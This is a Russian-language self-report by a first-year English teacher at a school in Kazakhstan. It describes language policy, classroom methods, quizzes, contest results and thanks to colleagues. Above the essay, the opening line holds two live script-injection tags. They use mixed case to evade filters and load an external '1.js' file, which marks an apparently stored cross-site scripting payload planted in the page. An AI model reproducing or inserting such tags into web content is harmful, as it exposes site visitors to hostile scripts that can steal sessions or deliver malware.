<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

02.06.2017

Люди начали говорить много столетий назад, и с тех пор они говорили на различных языках. Каждый язык отражает душу, манеры и характер каждой национальности. Народы создавали свой собственный алфавит и правила, но они всегда хотели общаться друг с другом, понимать и знать больше друг о друге. Языки помогают людям понимать друг друга лучше, они помогают им решать различные экономические и политические проблемы, которые стоят перед ними, и поэтому люди изучают иностранные языки. Сейчас на английском языке говорят фактически во всем мире, он стал самым важным языком в политике, науке, торговых и культурных отношениях. Английский язык —

один из официальных языков Организации Объединенных Наций. Половина всемирной научной литературы написана по-английски. Это язык компьютерных технологий. Владение несколькими языками всегда расширяло коммуникационные и интеграционные способности стран и народов. Это: казахский язык – государственный язык, русский язык – как язык межнационального общения и английский язык – язык успешной интеграции в глобальную экономику», – сказал Президент. Иными словами, идею триединства выражает простая и понятная формула: развиваем государственный язык, поддерживаем русский и изучаем английский. В  КГУ «Приреченской СШ» учителем английского языка я работаю первый год. За это  короткое время  накопила большой наглядный и методический материал. Учебно-методический комплект английского языка рассчитан на развитие общения, говорения, коммуникативной компетенции на уроках иностранного языка. Учебники, по которым я работаю, содержат материал на овладение навыками и умениями устной речи в рамках тем повседневной жизни. Поэтому в своей работе я использую различные формы и методы работы. Использую групповые, парные, коллективные формы работы на своих уроках. Также использую различные методы, особое место отвожу на уроках проблемному методу и игровым ситуациям.  За время работы в этой школе я давала открытые уроки, викторины, интеллектуальные игры: Викторину "Answer the questions about Gr. Britain". ( 8-9) классах, Турнир знатоков английского языка (7 класс) "Путешествие по морю лексики и грамматики" (5 класс) и мн.др.конкурсы. В котором учащиеся принимали  активное участие и получали небольшие призы, грамоты.   В этом мне оказали методическую помощь заместитель

директора по УВР Попроцкая Р.Р. руководитель РМОГЦ  Яскульская Т.К. заместитель директора  по ВР Рамазанова А.С где  их трудовой опыт  и добрый совет мне помог в работе, за это я им очень благодарна. В этом году мы принимали участие в конкурсе «Кенгуру –лингвист». Где заняли призовые места   Балтабаев Диас с 6 класса – 1 место и ученица 4  класса Сабыржанова Жасмин – 3 место. Этот конкурс проверил знания и показал успешный 

результат моей работы. Большую роль при изучении иностранного языка играет использование раздаточных карточек различного уровня сложности, как при первичном усвоении изученного материала, так и на закрепление усвоенного лексико- грамматического материала, а также карточки по фонетики, грамматике, говорению, словообразованию, чтению для 5-9 классов. Также на своих уроках я осуществляю дифференцированный подход при обучении иностранному языку. Использую карточки различного уровня сложности, подбираю тексты для чтения, осуществляя индивидуальный подход к учащимся, предлагаю учащимся дифференцированные домашние задания. Собрала занимательный и игровой материал на уроках иностранного языка. Пополнила свою личную библиотеку новой методической литературы. В будущем собираюсь дальше работать, пополняя наглядный и методический материал и использовать его на своих уроках. Также освоить навыки работы с интерактивной доской, применить их на практике.